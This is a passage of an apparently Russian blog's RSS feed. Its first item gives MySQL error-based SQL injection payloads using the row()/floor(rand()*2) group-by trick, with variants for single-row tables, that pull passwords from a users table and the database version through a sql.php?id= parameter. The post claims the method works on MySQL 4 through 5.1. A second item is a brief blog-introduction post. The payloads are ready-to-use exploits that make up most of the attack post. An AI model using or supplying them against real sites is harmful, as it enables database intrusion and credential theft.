<pre>http://localhost/sql.php?id=1'+and+row(1,1)&gt;(select+count(*),concat((select+pass+from+users+limit+1),0x3a,floor(rand()*2))+x+from+users+group+by+x+limit+1)+--+1</pre>
<p><strong>Особенности</strong>:</p>
<p>1) Работает на всех ветках, проверял на 4, 5.0, 5.1 .<br />
2) Когда в таблице из которой надо дёрнуть информацию, находится только одна строка, надо делать так:</p>
<pre>sql.php?id=1 and row(1,1)&gt;(select count(*),concat(version(),0x3a,floor(rand()*2)) x from (select 1 union select 2)a group by x limit 1) -- 1</pre>
<p>или так:</p>
<pre>sql.php?id=1 union select 1,2,passwd from users where id=1 and row(1,1)&gt;(select count(*),concat( (select users.passwd) ,0x3a,floor(rand()*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- 1</pre>
<p>Может быть попробую перевести в более удобоваримую форму.</p>
<p>P.S.<br />
Скриншот консоли, первые 3 раза запрос отработал, на 4й упал как надо: <a href="http://s48.radikal.ru/i120/0910/ce/4974d14483ba.jpg" target="_blank">смотреть</a></p>
<p><!--more--> </p>
]]></content:encoded>
			<wfw:commentRss>http://qwazar.ru/?feed=rss2&amp;p=7</wfw:commentRss>
		<slash:comments>96</slash:comments>
		</item>
		<item>
		<title>Моя очередь :)</title>
		<link>http://qwazar.ru/?p=1</link>
		<comments>http://qwazar.ru/?p=1#comments</comments>
		<pubDate>Tue, 15 Dec 2009 19:47:39 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Без рубрики]]></category>
		<category><![CDATA[общее]]></category>

		<guid isPermaLink="false">http://qwazar.ru/?p=1</guid>
		<description><![CDATA[Вот традиция создавать технические блоги докатилась и до меня. В первую очередь создал ради эксперимента. Через несколько месцев постараюсь оценить результат  
]]></description>
			<content:encoded><![CDATA[<p>Вот традиция создавать технические блоги докатилась и до меня. В первую очередь создал ради эксперимента. Через несколько месцев постараюсь оценить результат <img src='http://qwazar.ru/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://qwazar.ru/?feed=rss2&amp;p=1</wfw:commentRss>
		<slash:comments>85</slash:comments>
		</item>
	</channel>
</rss>
